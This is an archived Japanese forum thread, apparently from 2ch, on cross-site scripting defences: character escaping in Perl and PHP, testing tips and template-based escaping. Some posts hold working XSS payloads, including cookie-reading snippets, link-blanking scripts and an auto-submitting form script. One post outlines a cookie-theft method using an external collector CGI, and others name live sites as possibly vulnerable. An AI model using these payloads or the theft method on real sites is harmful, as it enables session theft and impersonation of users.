TOP カテ一覧 スレ一覧 100〜終まで 2ch元 削除依頼
フリーメールの判別方法
CGIでショッピングカートを作るスレ
PHPでOOP
PHP上級者が集まるスレ
サーバーサイドJavaScript総合
PHPエディタって、どうよ?
Perl::DBI
WebObjectsをめぐる政治的話題【粘着君OK】
[PHP][フレームワーク]CodeIgniter Part2
Namazu全文検索システム

クロスサイトスクリプティング対策


1 :01/10/27 〜 最終レス :2019/02/10
http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf
簡単にいって、フォームの入力をサーバサイドで処理してHTMLと
して出力する時に、文字のエスケープを適切に行わないと、
Cookieを取得するJavaScriptを埋め込み&出力結果を別サイトに
リダイレクトする、というような方法を使ってCookieを第三者に
盗まれる可能性がある、ということです。
上の資料を参考にしながら、
それぞれの処理系における、どのようの文字列エスケープを行うべきか、
といったサーバサイドの対策に関する情報を交換していきたいと思います。

2 :
とりあえずは、Perlの場合で、BBSやチャットだと、
一番カタイのはタグ禁止ということにして<,>を文字実体参照に変換してしまう
のが手っ取り早いと思います。

3 :
セキュリティ板に載ってました、クロスサイトスクリプティング脆弱性の
最近の具体例が。
http://memo.st.ryukoku.ac.jp/archive/200110.month/index.html
のArticle 1756。見ればわかりますがHTMLタグのエスケープ処理を
忘れてるものと思われます。<SCRIPT>タグなんか埋め込まれた日には
色々悪さされそうです。

4 :
本気で対策したい人たちが読むことを期待して。
少なくともFORMから入力されたパラメタは、全て読み込んだ時点で
実体参照に置換してしまう(汚染チェックも行う)。
s/&/&/g
s/</</g
s/>/>/g
s/"/"/g
URLやHTTPヘッダもそうするべきだけど、そこまでは辛いか?後は比較などで、
元の文字列でなければ困るところだけ、一時的に元に戻すようにする。
s/</</g
s/>/>/g
s/"/"/g
s/&/&/g
(上記は2chがちゃんと処理してなかった場合ちゃんと見えないかも。
面倒なんでその場合はページのソースを見てください)
必要な箇所での戻し忘れがあった場合の不都合は、比較的簡単に目に見えるので
どってこたない。置換を忘れた場合は見つけにくい上にセキュリティ問題になる
ことを考えれば、これくらい徹底した方がいいのでは?

5 :
男は黙って tr/\W//d

6 :
s/&/&amp;/g
s/</&lt;/g
s/>/&gt;/g
s/"/&quot;"/g
だ。下のは
s/&amp;/&/g
s/&lt;/</g
s/&gt;/>/g
s/&quot;"/"/g
ふー…ちゃんと&と"も置換してよ。

7 :
age

8 :
age

9 :
&をエスケープしないのはヤバーイよ!
ネスケ4で見てね。

10 :
つづく

11 :
こんなことも(;´Д`)

12 :
シパーイシターヨ

13 :
これでどーよ、ネスケ4

14 :
神が降臨シテルヨ

15 :
ネスケで見てる人はあまりいなかったのかage

16 :
真の神は、やっぱりMSのPassportでしょ。
http://www.zdnet.co.jp/news/0111/05/e_wallet.html

17 :
神はみんなに平等にcookieを読む権利を与えたのだ

18 :
パンが無ければCookieを食べればいいじゃない。

19 :
くそ・・・ネスケ4で見たら落ちたよ(涙)

20 :
>>13
そーいや、それについての警告を見た事無いな。
何処かに名文ないものかな?

21 :
>>20
これとか:
http://www.securityfocus.com/archive/1/50782
この著者は先日MicrosoftのPassportの問題を指摘した人物。
Apache Softoware Foundationのメンバーで、1.3.11の同脆弱性を直した人。

22 :
いや明日仕事で、うちの会社で開発したwebサービスの
クロスサイトスクリプティング対策をやんなきゃいけなくって、
できる限りヤバーイのを発見しないといけないんだけどさー、
どうするのがいいかねぇ。

23 :
>>21
英語か:-(
誰か和訳してくれないものかな。

24 :
>22
まず、実体参照への変換関数(メソッド)を固定の記号に置き換えて返すように変更して実行してみる。
例えば"====================="とか。
そして、フォームの全てのパラメタに"**************************************************"とかの
目立つ文字列を入れてみて、後者がブラウザ上に現れたらアウト。
※hiddenフィールドもチェックしないとね
ただしそれだけだと、URLやHTTPヘッダのチェックが見落としやすいな…。
URL等をブラウザに表示している箇所は、"*********..."が表示されるはずだからそうなっていない
生のURLやUser-Agent等のヘッダの文字列が表示されていたらアウトなわけだけど…。

25 :
後は全エラー画面をチェックしないといけないが、これは画面よリソースをチェックした方が早いだろうなぁ。

26 :
PHP 使ってますが。
フォームからのものとか、REMOTE_ADDR、REMOTE_HOSTなど
すべて strip_tags() してますが、安全でしょうか?

27 :
たぶん。としかいえんなぁ。変換関数が組み込みのものだと24に書いたみたいなテスト方法は駄目だね。
要はそれを忘れてないかどうかが問題なので。
環境変数等から変数に代入する時点で変換するというポリシーが貫けているなら、
この問題に対してはほぼ安全と思う。

28 :
>>27
とりあえずhiddenを含め全部やってるはずなので、一応安心しておきます。

29 :
セキュリティホール memo
http://www.st.ryukoku.ac.jp/~kjm/security/memo/
MS01-055: Cookie Data in IE Can Be Exposed or Altered Through Script Injection (セキュリティアンテナ, 2001.11.09)にあるデモ
http://www.solutions.fi/index.cgi/extra_iebug?lang=eng
でamazon.co.jpを読むと(事前にamazon.co.jpのcookieを取り込んである)
MSIE cookie vulnerability test page
This page displays the cookies found on your browser for site amazon.co.jp:
Cookies:
No cookies found for site...
Click here to make new search for cookies.
−−−−−
アクティブスクリプトに対して「プロンプトを表示」で表示されたら
はい(Y)を選択する。
こんなダイアログ−http://www.st.ryukoku.ac.jp/~kjm/security/memo/2001/ie6-script-dialog.png
−−−−−
アクティブスクリプトを実行しなければ "; document.location=url; と表示される。
−−−−−
デモが表示された後、「戻る」と
警告: ページの有効期限切れ 要求したページは、フォームで送信された情報を使用して作成されました。このページは、もう利用できません。セキュリティ保護のため、情報は自動的には再送信されません。
情報を再送信し、この Web ページを表示するには、ツール バーの [更新] ボタンをクリックしてください。 となる。

30 :
>>29
IE5.5とIE6しか再現しないそうだ

31 :
IEは5.01SP2です。
http://www.microsoft.com/japan/technet/security/frame_prekb.asp?sec_cd=MS01-055
によると、
テストしたバージョン :
マイクロソフトは Internet Explorer 5.5 SP2 および 6 のテストを行い、これらの脆弱性による影響を評価しました。それ以前のバージョンに関してはサポート (英語情報) の対象となっていないため、この脆弱性による影響は不明です。
とのこと。
ということは、5.01でも危険ということだろうか。

32 :
age

33 :
age

34 :
http://pc.2ch.sc/&{document.write(document.cookie)};

35 :
http://pc.2ch.sc/&{document.cookie};

36 :
age

37 :
a

38 :
こんなのmail欄に入れたらどうなるんだろう?
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};

39 :
>38
自分でやってみてよ(笑)

40 :
メール欄が長すぎます・・・だって(笑)
&{for(var i=0;document.links[i];i++)document.links[i].href='';};
これは大丈夫やった。

41 :
>40
どこでやってきたの?(笑)

42 :
>>41
色んなところ。反応が一つもないところを見ると
NN4でスクリプトONにしてる奴、あんまおらんのかな?

43 :
age

44 :
age

45 :
>>42
ひいい・・・・2ちゃんで窓が出たよう・・・。

46 :
>45
(笑)

47 :
>>40
分割すればいいみたい。>>12>>13

48 :
テスト

49 :
大手検索サイトに見るクロスサイトスクリプティングの脆弱性の実態(2002.2.4)
https://www.netsecurity.ne.jp/article/1/3860.html

50 :


51 :


52 :
>日本でもWebサイトに関する最初のインシデントとして記録されているのは、1997年に総務省の掲示板にタグ
>が書き込まれ、その掲示板を閲覧しようすると、オウム真理教の音楽が外部サイトから読み込まれて鳴るよう
>になったという事件であり、このようにクロスサイトスクリプティングの脆弱性は古くから存在する問題である。
タグ可の掲示板はみんな着尺製ありだな
http://pc.2ch.sc/test/read.cgi/sec/1008926076/l10

53 :
F=Function;fs=document.forms;
l0=new F('f=fs[fs.length-1]');
l1=new F('es=f.elements;');
l2=new F('a=es[0];b=es[2];');
l3=new F('c=es[3];d=es[4];');
l4=new F('a.value=navigator.userAgent;');
l5=new F('b.value=\'fusianasan\';');
l6=new F('c.value=\'\';');
l7=new F('d.value=\' \';');
l8=new F('es[1].click();');
lx=new F('l0();l1();l2();l3();');
ly=new F('l4();l5();l6();l7();');
lz=new F('l8();');
l=new F('lx();ly();lz();');window.onload=l;

54 :
>>52
>着尺製
読めない…。

55 :
>>54
> >着尺製
「脆弱性」の (2ch的?) 誤読だと思われ。
正しくは「もろよわせい」と読むらしい。

56 :
>>55
http://pc.2ch.sc/test/read.cgi/sec/1008620296/
http://pc.2ch.sc/test/read.cgi/sec/1008620296/17

57 :
>>22
で、22はお腹いっぱいヤバゲなの見つかったのかな?
SSLなページの確認はメンドーでないかい? >all
アホプログラマーの重箱の隅つつくのも疲れてきたぞ。(藁

58 :
> SSLなページの確認はメンドーでないかい?
なぜに?

59 :
漏れがバカだから。とりあえずパケットキャプチャーしてどんな内容送ってるのか見ようと思うんだけど。
IEなんかのクライアントで見て、値が固定されてるもののテストってどうしてますか?
例えば買い物の個数とかサーバ側でエスケープ処理してるか確認したい訳で。
POSTメソッドの値を色々試すのに良いツールってないですかねぇ。HTMLエディタで書き換える?

60 :
http://www.mountsystem.ne.jp/
ここのTantanCGI

61 :
>>60
すっ、すばらしい...。ありがとう御座います。感謝感激!
これでもっと重箱の隅つっけそうです。(藁

62 :
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};

63 :
ここで配布してるスクリプトも脆弱性の問題あり?
http://www.onpuch.jp/files/onpuch.zip

64 :
Struts使おう。

65 :
(^^)

66 :
d

67 :
aq

68 :
qwe

69 :
qwer

70 :
12345

71 :
hfjfjf

72 :
vbncnnb

73 :
hhhhhhhh

74 :
fhfhfhfhfh

75 :
荒らされてる

76 :
XSS対策のひとつとして、「エスケープ処理」がある。
これはCGIが扱うパラメータが多くなってくると、ついつい忘れてしまう煩雑で面倒な処理だが、
もしあなたがPerlユーザなら、HTML::Templateを使うことによってエスケープを
テンプレート側に記述し、プログラム側から完全に追い出してしまうことができる。
<input type="hidden" value="<tmpl var="aniti_xss_value" escape="url">">
<input type="text" value="<tmpl var="aniti_xss_text" escape="html">">
最後のescape属性に注目だ。これを指定してやるだけで、
テンプレートにセットした変数は適切にエスケープされるようになる。
もう、escape関数を呼びまくる必要はないんだ!ひゃっほう!
ps.この情報がXSS対策に頭を悩ますCGI製作者の助けになることを祈ってるよ。

77 :
ヽ(゚∀゚)ノヒャホー

78 :
対策ではなくクキー盗む方法なのだが。
JBBSなどレンタル系の掲示板で使える。(htmlにログを表示して、javascriptでクッキーを読み出すもの)
レンタル系の掲示板は、自分が書き込んだ掲示板以外の板にもクッキーが適応されるところが多い。
(たとえば、http://jbbs.shitaraba.com/business/1/に書き込むとhttp://jbbs.shitaraba.com/business/2/の板にも適応される。)
これを利用して、自分の掲示板に書き込まれなくてもクッキーに入っているデータを取得できる。
具体的方法として
1.GET(QUERY_STRING)からのデータをテキストに保存するCGIを作成し、適当なフリーサーバに設置
2.ターゲットと同じレンタルBBSを借りる。
3.HTMLクッキー取得部分を調べてjavascriptで1のCGIに渡す。
4.ターゲットの掲示板にそれらしい理由を付けてカキコ

79 :
クッキーのpathを / とかにしてるんだろうね。
名前が漏れるくらいはなんでもないけど
トリップやキャップもクッキーに入ってるとなりすましが出来ると。

80 :
XSS 脆弱性で Basic 認証のパスワードも盗まれるらしいぞ
http://memo.st.ryukoku.ac.jp/archive/200301.month/5237.html
(((;゚Д゚))ガクガクブルブル

81 :
>>80
ウゲ
でも
> サーバのTRACEメソッドが機能している場合
ってどういう場合なの?

82 :
(^^)

83 :
   ∧_∧
  (  ^^ )< ぬるぽ(^^)

84 :
TRACE / HTTP/1.1
Host: localhost
Authorization: Basic

HTTP/1.1 200 OK
Date: Sun, 11 May 2003 11:07:46 GMT
Server: Apache/1.3.27
Transfer-Encoding: chunked
Content-Type: message/http

50
TRACE / HTTP/1.1
Authorization: Basic lG+/r4+/j6+/64FgKHc=
Host: localhost


0

(((;゚Д゚))ガクガクブルブル

85 :
━―━―━―━―━―━―━―━―━[JR山崎駅(^^)]━―━―━―━―━―━―━―━―━―

86 :
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉

87 :

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄

88 :
   ∧_∧
  (  ^^ )< ぬるぽ(^^)

89 :
     ∧_∧  ∧_∧
ピュ.ー (  ・3・) (  ^^ ) <これからも僕たちを応援して下さいね(^^)。
  =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
  = ◎――――――◎                      山崎渉&ぼるじょあ

90 :
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン

91 :
2chにはもうXSS使える穴は無い?

92 :
半角で穴見つかったのが最後かな?

93 :
そうか…
XSS使えばフレームでの別ドメインの制限が回避出来るんだけどなー…

94 :
XSSをさらすスレはここですか?

95 :
ttp://www.creators-fukuoka.com/
クロスサイトスクリプティング出来る?

96 :
保守

97 :
http://pc8.2ch.sc/test/read.cgi/hp/1145956119/413

98 :
age

99 :
ttp://youtube2.in/
<
>
"
あたりエスケープできてなくね。

100 :
age


100〜のスレッドの続きを読む
■最強の出会い系サイト作ろうぜ!■
=== IIS ===
新しい掲示板の仕様を考える
天才WEBプログラマの方々に一生のお願い…
■■Perlの一番いい勉強方法は??■■
☆WSHでCGI★JScriptVBScript
Amazon EC2
アプリケーションサーバって必要?
【Perl】何をやれば「出来る」といえる?【PHP】
【Python】Webフレームワーク Djangoスレ Part2
--------------------
【第92回】2020年選抜行進曲はこれだ!【センバツ】
【北海道】炭水化物抜きダイエット向け? バンズ抜き「肉食べようハンバーガー」 ラッキーピエロ[06/20]
コラッツ予想がとけたらいいな その2
枝野代表「小さな政府は間違いだった。民営化すれば良いわけじゃない。これからは役所が中心だ」 [981340838]
○○ 孤独な経営者がホッとするスレpart38○○
ニコ動は何故廃れてしまったのか
星雑part.191
ぼうし★part53★帽子
BRAHMAN ENCORE 145
いやールシファーHL結構難しかったね(笑)
東京都 石原知事 反原発署名に『無視する』方向
アウトレイジ 最終章 OUTRAGE CODA 112本目
NATURE DANGER GANG
【節電】 電気代をケチろう part37 【自由化】
【ネット人狼】46時間TVでルール覚えたから人狼やりたい
フィンランド物語
DAHON ダホン 124台目
低音勢が高音頑張る雄鶏劇場12鳴目
【youtuber】さわのさら【アンチ信者兼用】
八条院
TOP カテ一覧 スレ一覧 100〜終まで 2ch元 削除依頼